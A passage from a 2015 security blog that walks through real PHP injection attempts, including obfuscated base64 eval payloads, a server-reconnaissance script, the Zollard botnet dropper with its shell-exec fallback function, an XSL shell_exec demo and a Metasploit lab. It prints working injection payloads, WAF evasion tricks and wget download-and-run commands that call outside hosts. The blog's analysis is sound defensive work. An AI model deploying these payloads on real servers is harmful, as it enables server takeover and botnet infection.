You can see above that they use a regular expression to look for the error message in the http response. They pull out with the \1 the original authorization key.

cls.get_shell(args['options']['target'], uc_key, args['options']['target'])
args['result']['webshell'] = args['options']['target'] + '/config.inc.php'


Then they end up turning around and passing the authorization key (uc_key) back to the config.inc.php (phpMyAdmin's configuration file) to complete they're exploit and own the server. The attack post was here.



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Monday, November 23, 2015

More PHP Injection Obfuscation walk-thru

Been blogging about a few PHP injection attempts recently [1], [2]. Here's php injection I pasted that was unique in it's obfuscation method.

POST/plus/mytag_js.php?aid=8080
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
z0=MjgxMDAzO0......ik7ZGllKCk7
z9=BaSE64_dEcOdE


Let's walk through this line by line again.

POST/plus/mytag_js.php?aid=8080

The above is simply saying it's a post to an existing PHP page. I don't believe that this is related in any way really to the exploit.

values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));


The above code is where it gets interesting. Now first let's take time to notice that there are lots of WAF (web application firewall) evasion techniques listed above. Basically a WAF would be smart enough to detect this attack with no obfuscation, so the attacker must resort to applying multiple layers of obfuscation in hopes that the WAF isn't smart enough and lets some of these requests got through. In the above instance the first thing I'll point out is the attempt to obfuscate code by adding random lines of comments (code that does not get executed) in. This may confuse the WAF, especially if it has special unicode characters like it does, into erroring out or failing to parse the rest of the attack. I colored in red the comments that for our analysis purposes actually do nothing and can be removed.

values=@eval[[#1]](${'_P'.'OST'}[z9][[#1]](${'_POS'.'T'}[z0]));


After removing the comments we're left with this above.

values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));


Now the previous code has some string concatenations ('.') that could be removed again to make it easier to read.

values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));


In addition, the square brackets '[]' are arrays, and they're again used to simply obfuscate some other values. The [[#1]] is actually just an empty array containing the comment (hash symbol) and the comment text 1, so it can safely be removed without any impact as it doesn't do anything.

values=@eval(${'_POST'}[z9](${'_POST'}[z0]));


Also the ${''} syntax is just another way to reference a variable, thus ${'_POST'} is equivalent to $_POST and can be rewritten as such.

values=@eval($_POST[z9]($_POST[z0]));


Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0 into the value.

values=@eval(BaSE64_dEcOdE(MjgxMDAzO0......ik7ZGllKCk7));


Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0's values into the above code. Now we're getting somewhere.

values=@eval(base64_decode(MjgxMDAzO0......ik7ZGllKCk7));


Case doesn't really matter in php function naming so to make it easier rewrite BaSE64_dEcOdE as base64_decode

values=@eval(281003;@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));$R="{$D}|".$root."|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="|";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die(););


Then let's perform the actual base64 decoding of the large string to get figure out what they're really trying to do. Oh gee, looks like what I was blogging about the other day. Kinda interesting though how even though it's the same attack, on the outside it looked TOTALLY DIFFERENT until we did the manual unraveling of the obfuscation.



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Friday, November 20, 2015

PHP Injection Base64 walk-thru

This php injection attack was similar to the one I blogged about yesterday but interesting none-the-less.

POST/index.php?s=/abc/abc/abc/${@print(eval($_POST[c]))}

c=@eval(base64_decode($_POST[x0]));
x0=ZWNobyAiLT58MTIzfDwtIjs=


Similar to yesterday it's trying to execute PHP code based on an old php vulnerability that appears to allow the eval of php code via query string parameters and post parameters.

First they're going to print the results back to the screen which essentially get returned in the http response and can be used to automate a response (if bad guys gets results back then he knows it's vulnerable and can attack further). Then he'll try to eval (or execute) the php code found on the post parameter 'c'.

In the post data the parameter 'c' will try to eval (or execute) the base64_decode function which decodes the value in the 'x0' post parameter. This is just a way of obfuscating what he's doing, hiding from the good guys, from the IDS/IPS, etc.

So basically all we need to know is what's in the base64 encoded value 'ZWNobyAiLT58MTIzfDwtIjs='. Well find a good free base64 decoder (or just use notepad++). It'll tell you that it is equivalent to echo "->|123|<-"; which means that if successful this attack literally just prints out some text ... ->|123|<-

So, nothing exciting, please move on :-)



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Thursday, November 19, 2015

PHP Injection via post walk-thru

POST /yanyu/?q={${eval($_POST[u])}} HTTP/1.1

This malicious post looked pretty interested and worth mentioning. It's attempting to exploit a php vulnerability likely that allows for execution of code passes in as a post parameter. In this case the post looked like this and attempted to execute the php code listed in parameter 'u' (see below). The final goal of this as you'll see by reading the rest appears to be just data exfiltrations/information gathering about the vulnerable web server. No payload is actually delivered at this time.

u=@eval(get_magic_quotes_gpc()?stripslashes($_POST[chr(122).chr(48)]):$_POST[chr(122).chr(48)]); z0=603403;@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));$R="{$D}|".$root."|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="|";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

Let's go thru line by line

u=@eval(get_magic_quotes_gpc()?stripslashes($_POST[chr(122).chr(48)]):$_POST[chr(122).chr(48)]);

The above code is parameter u that gets executed by the http post mentioned above. First this it does is check to see if magic_quotes_gpc is enabled or not. If so, it needs to strip off the slashes before executing the rest of the payload, if not just use the raw payload. Where is the payload? When it's in the post parameter called z0 (122 = z, 48 = 0). I know that from asccitable.com.

z0=

The above code starts the real payload, the z0 parameter.

603403;

The above code not sure what it is for? my guess is maybe a version number. It's just an integer which when executed in php does nothing.

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);


The above code sets several configuration settings. init_set is used to disable error messages. set_time_limit to 0 is used to disable time limits on execution. set_magic_quotes_runtime to 0 is used to disable magic quotes.

echo("->|");;


The above code will print characters to the screen (returned via the http request). this is the attacker indicating the start of the exfiltrated system information that he's going to grab.

$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
   $D=dirname($_SERVER["PATH_TRANSLATED"]);


Next the attacker attempts to load the directory that the php file is currently located in on the server. He tries with 2 different methods.

$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:
(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):
(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):
str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:
(isset($_SERVER["URL"])?$_SERVER["URL"]:
$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:
$_SERVER["SCRIPT_FILENAME"])));


The above goes thru a series of tertiary conditionals (?:) or essentially if statements to determine if various parameters are set, he's trying 1 at a time to determine the root folder for the website and saving it in $root

$R="{$D}|".$root."|";

The above code is going to start building a list of exfiltrated data about this web server that he'll send back to himself via the http response. This includes now the current folder and the web root folder.

if(substr($D,0,1)!="/"){
  foreach(range("A","Z") as $L)
   if(is_dir("{$L}:"))
    $R.="{$L}:";
}
$R.="|";


The above code appears to then see if the current directory starts with a / and if not loops thru looking for any folders with the single character name A thru Z. If it finds any, it appends them to the data exfiltration dump. Not exactly sure why unless those are standard folders the attacker uses as payload and he wants to see if it's already been there or not.

$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
$usr=($u)?$u['name']:@get_current_user();


The above code will grab what security group or essentially permissions the current web user has.

$R.=php_uname();$R.="({$usr})";


The above code then appends the user security group information plus information about the system itself to the data exfilitration payload.

print $R;;echo("|<-");
die();


The above code finally prints all the information it wants to exfiltrate out to the http response. Then kills the process so the request returns. The attacker will likely then look for the special characters and if he sees then he knows he's got a vulnerable box, then he'll return in a few minutes with a payload that compromises the box.

Hope this helps.



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. ali.txt php injection walk-thru
  3. apache struts2 rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Tuesday, November 10, 2015

Digging Deeper on xsl payload ‏@e3xpl0it #XXE #RCE

I saw this tweet by ‏@e3xpl0it about Remote Code Execution in XSL (EXtensible Stylesheet Language) Transformations.



It contained as example of an XSL file that was running a php system command.

I wanted to see if I could recreate this scenario. I setup apache, I got php5-xsl installed. Then I created a sample test page like the code here.

Except I changed this line

<xsl:value-of select="php:function('ucfirst',string(uid))"/>

to something more evil like this

<xsl:value-of select="php::function('shell_exec', 'wget -O /tmp/bad.sh http://badsite.com/bad.sh; chmod 755 /tmp/bad.sh; ./bad.sh')"/>

Seemed to work! Uh-Oh, looks like OS Command injection might be possible. How? What if the code was dependent on user input? Perhaps the xsl is remotely loaded? Perhaps the setParameter sanitization is inadequate and a query string parameter could be used like this? I'm sure there are multiple ways to exploit.

$proc->setParameter('', 'queryValue', $_GET['queryId']);
...
<xsl:param name="queryValue"/>
...
<xsl:value-of select="$queryValue"/>
...


Now the bad guy is going to control your unsanitized user input by jamming some php function payloads into your queryValue and you can now say bye-bye to your server. It's owned.

Seems like it's worth your time to take a look at any XSL Transformations you're doing in php and make sure you're not trusting any user input.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Monday, October 12, 2015

Find Hidden Website Folders

Here's a simple tool that can find Hidden/Common Website Folders that might not have a link directly to them from the main page.

Download a brute force website scanner like dirs3arch

Run it against an ASP website
   python.exe dirs3arch.py -u mywebsitethatiownandcontrol.com -e asp

Or Run it against a PHP website
   python.exe dirs3arch.py -u mywebsitethatiownandcontrol.com -e php

Watch as it discovers several pages that may or may not be of interest



Why might this be useful? Well, if you're a bad guy you probably want to know if there's administrator pages hidden, or you can use this to determine based on the existance of certain folders what Operating System, Web Environment, Programming Service, Version, etc. it's running so you know how to target it. If you're a good guy (like us) then you want to know what the bad guy's going to find so you can secure it and properly protect your website.

General reminder that this demonstration was for educational and awareness purposes and should not be used for malicious activities.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Tuesday, September 1, 2015

An Exploit: From Developer to Attacker, a Tale of PHP and Metasploit

I thought it'd be helpful to illustrate how a vulnerability goes from the code written by a developer to the metasploit module added that makes exploitation easy for script kiddies. This post is helpful for developers as they might see just how simple script kiddies can own your box. This post might also be helpful for sys admins so they can understand exploitation occurs and maybe what to look for. This post may also be helpful to security professionals to simply understand the basics of what an attacker is doing.

For this setup, I have created 2 linux boxes in virtual box (both set to Host-Only adapter so they have their own ips and can talk to eachother). 1 has kali linux and plays the role of the attacker. 1 has ubuntu server and plays the role of the victims public facing web server. The website will be written in php. The vulnerability will be poorly written code with a command injection flaw. The exploit will be written in ruby as a metasploit module.

Please don't get stuck focusing on the code / vulnerability (as it's simple and silly, although many times mistakes aren't much more complex but instead just basic programming 101 mistakes). Please also don't focus on the exploit / metasploit module (as it's also simple and could be enhanced to be more powerful). Instead please sit back and try to grasp/visualize the 10,000 foot high overview of how a developer writing php code and can turn into a script kiddie rooting your web server.

Now that I've set the stage, let's have some fun!

I have a website running apache (/etc/init.d/apache2 start). In the root folder of the website I have a 'hidden' administrative page that my perhaps well-intentioned webmaster decided to write so that he can work from home. Per the screenshot below it allows him to run commands like "ps -aux" if the website is running slow and determine what might be the cause.



The disgusting code looks something like this


Notice the code uses the extremely unsafe shell_exec method, it performs no input validation, and the page doesn't even require authentication. This leads to a command injection vulnerability because I can basically run any shell command I want under the same privileges that the website runs under (www-data). Security by obscurity is perhaps the only defense here and we all know that doesn't cut it. There are 100 more reasons I could list for why this is the worst idea anybody could ever come up with, but that is for another day. Also if interested the nl2br method simply converts newlines to html breaks so the output is prettier.



Now the webmaster doesn't just host one website, he's actually provides a standard platform for all his customers and hosts this same codebase on many webservers. So this vulnerability is actually widespread across many sites on the Internet. Mr. evil attacker is recon'ing and scanning and by happenstance comes across this vulnerability. He wants to share it with the world, so he writes a metasploit module in ruby. Below you can see that ruby module, and in it the payload is 'cmd' or a command prompt. And the scarey part to me is that the actual exploit code is really short. Look at that 'exploit' method at the end, it's really really short as many of these modules are. This one simply calls an HTTP GET and passes the payload into the AdminCommand query string. Take a quick deeper look at the code below. Seriously, it's not very complex. In fact it's almost too easy.



The attacker saves this ruby file into the exploits folder (~/.msf4/modules/exploit/neonprimetime_web.rb). Then the attacker loads metasploit console (./msfconsole). Once at the msf command prompt, the fun begins. The script kiddie can say 'use exploit/neonprimetime_web', set the RHOST to the ip of the website he wants to attack. Then type 'exploit'.



Let's also look below at the Ubuntu web server now. Oh Crap! There appears to be a connection going back to the script kiddie on port 4444!



Let's look at the Apache logs. What the? That's an ugly looking bash command. No script kiddie could understand that. That's the beauty of Metasploit. It has all the pre-built payloads that open up the reverse shells and get you access into things. It does it all for you.



Script kiddie isn't done, he can run commands on YOUR web server!


Oh boy, from the ubuntu web server we can packet capture and see the commands run and the results sent back.



Script kiddie has the permission of the account running the web service. I think you're in trouble.



Now if the account running apache has minimal privileges, the attacker may have to work harder to find an unpatched privilege escalation vulnerability (buffer overflow or something) on your server and gain root. But believe me, that's not going to be hard. There are open source scripts that kiddies can run on a victim server that will crawl thru the server and literally spit out recommendations of which privilege escalation vulnerability will work for that victim. If the website is already running as root or some privileged account, well then it's probably all over, you already handed him the keys to the kingdom. He's going to create something that persists, and probably pivot to the rest of the servers on your network.



I hope you enjoyed the walk-through and it has opened your eyes to just how important writing good code, following best practices, and patching vulnerabilities is. The bad guys are good at this, they've made it mundane, simple, and repeatable. You have to work hard to protect your things.



NOTE: This example above was created with the intention to educate and create awareness only. This information should not be utilized information for anything malicious.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Wednesday, April 8, 2015

Hack an Entire Site to get at a Single User

I thought this article by High-Tech Bridge SA titled Drive-by-login attack: the end of the safe web was fascinating and scary at the same time.

You're a bad guy. You need information from a specific user. Instead of social engineering the user with a phish, here's another angle.

1.) Identify the websites the user frequents
2.) Recon those websites for known vulnerabilities
3.) Exploit one of the vulnerabilities to gain control of that website
4.) Inject malicious code that only executes when that particular user accesses the website
5.) After the user visits, remove your malicious code


An example of malicious code could be a simple popup window that prompts the user for the data you want, and posts the response back to your malicious website.

Another example might be to insert code that download a customized piece of malware onto that user's computer.

In this particular article linked above, the malicious PHP code basically says "if(IP == my victim && EMAIL = my victim) { do something }"

And then the code says later, if the attacker requests the same page but appends "?del" to the url, then everything is cleaned up and restored back to normal.

I have personally seen this type of attack before, but it was targeting a group of people, not a single individual. But this seems like the logical next step for attackers in sophisticated attacks. Hit the 1 guy you want, clean-up, and move on.

If you think about it, unless you're doing file integrity monitoring something like this could go completely unnoticed on your web server. The malicious code only ever executes for a single user, and the malicious code gets removed almost as soon as that victim leaves the site.

Stay vigilant and harden those systems!

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Thursday, March 19, 2015

PHP Injection Attempt Walkthrough

I posted some details about a PHP Injection attempt here. I'd like to explain in more detail the code below seen in the attack. The goal is of the attacker is that if you're running an old unpatched version of php, if they pass in the url parameters listed in my pastebin link, then the body of the POST (the code below) will get executed on the server. Let's see what the code would try to do.

<?php
echo "Zollard";

The attacker is simply printing out their calling handle to the screen in the code above, probably as confirmation that the server is vulnerable.

$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
    $disablefunc = str_replace(" ","",$disablefunc);
    $disablefunc = explode(",",$disablefunc);
}

This code above gets a list of functions that are disabled (for security reasons) on the web server. This is useful for the attacker so they know which commands they can and cannot run on this server. If they run the wrong one, they might get logged or flagged as suspicious, and they wouldn't want that!

function myshellexec($cmd)
{
    global $disablefunc;
    $result = "";
    if (!empty($cmd))
    {
        if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
        elseif (($result = `$cmd`) !== FALSE) {}
        elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
        elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
        elseif (is_resource($fp = popen($cmd,"r")))
        {
            $result = "";
            while(!feof($fp)) {$result .= fread($fp,1024);}
            pclose($fp);
        }
    }
return $result;
}

This code above is a function declaration, so no code is actually getting executed yet. It's creating a function called 'myshellexec' that can be run later. This function takes 1 parameter, the shell command that you want to execute. At a high level, all this function attempts to do is execute the command against the shell prompt and return the results to the caller. Digging deeper, it's actually a bit more complex, because unlike when you're writing a normal legit program, in this case you don't know exactly how the system will allow you to run your shell command. Some methods may be disabled/allowed and some might not, so there is a series of checks (if/elseif) statements to determine what is the best way to execute the command passed in. Everybody is probably most familiar with the exec command, so that is the first check to see if you could write something like "exec('echo hello world')". If you weren't aware there are 2 other functions that essentially do the same thing, "system()" and "passthru()" ... so if one is not available, try the next, and try the next until you get one that works. You'll notice the checks are 2-fold 1.) First is the function is_callable, this is a standard php method that allows you to verify a function name before calling it 2.) Second is a function !in_array which you'll notice uses our $disablefunc variable from above, so basically it's checking to see if the function is not disabled by the web server. If both checks pass, it tries it. If one of those 2 checks fail, it does not try that command and moves on to check the next command. So there is ever only 1 attempt to execute the command, there are NOT many attempts to execute it. If 'exec', 'system', and 'passthru' all fail then it's final attempt at exploiting is to take the current process we're in (probably the Apache web server worker process) and attempt to fork a new child process that runs the command passed in. That is done by 'popen' and then 'fread' to get the results of the child process. If that fails, then the exploit fails.

myshellexec("rm -rf /tmp/armeabi;wget -P /tmp http://114.4.144.121:58455/armeabi;chmod +x /tmp/armeabi");
myshellexec("rm -rf /tmp/arm;wget -P /tmp http://114.4.144.121:58455/arm;chmod +x /tmp/arm");
myshellexec("rm -rf /tmp/ppc;wget -P /tmp http://114.4.144.121:58455/ppc;chmod +x /tmp/ppc");
myshellexec("rm -rf /tmp/mips;wget -P /tmp http://114.4.144.121:58455/mips;chmod +x /tmp/mips");
myshellexec("rm -rf /tmp/mipsel;wget -P /tmp http://114.4.144.121:58455/mipsel;chmod +x /tmp/mipsel");
myshellexec("rm -rf /tmp/x86;wget -P /tmp http://114.4.144.121:58455/x86;chmod +x /tmp/x86");
myshellexec("rm -rf /tmp/nodes;wget -P /tmp http://114.4.144.121:58455/nodes;chmod +x /tmp/nodes");
myshellexec("rm -rf /tmp/sig;wget -P /tmp http://114.4.144.121:58455/sig;chmod +x /tmp/sig");
myshellexec("/tmp/armeabi;/tmp/arm;/tmp/ppc;/tmp/mips;/tmp/mipsel;/tmp/x86;");
?>

Finally in this code above the attacker makes calls to the 'myshellexec' function that we declared earlier. This is where the actual exploit is attempted. Notice each call passes a command the first removes any temp files (rm -f), then downloads a malicious file specific to a system architecture (wget), changes the permissions to executable (+x), and then runs the payload. The attacker here runs several commands, one for each of the command server architectures, thus their payload must be system dependent and for example the x86 payload must not work on a mips server, and visa versa.

So in Summary for this exploit to work we must be talking about a Web Server, that is running Linux , and has an old unpatched version of PHP that is vulnerable to the initial injection attempt URL posts parameters. Then if that's the case, next either the 'exec', 'system', or 'passthru' function must be allowed/enabled and or the ability for the Apache process to fork a child. Then if that's the case, if the server is running one of the architectures listed (armebi, arm, ppc, mips, etc.) then the exploit will likely succeed, the payload delivered, and your server is now probably part of a larger botnet until you re-build it.

Stay patched and configured your servers properly!

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.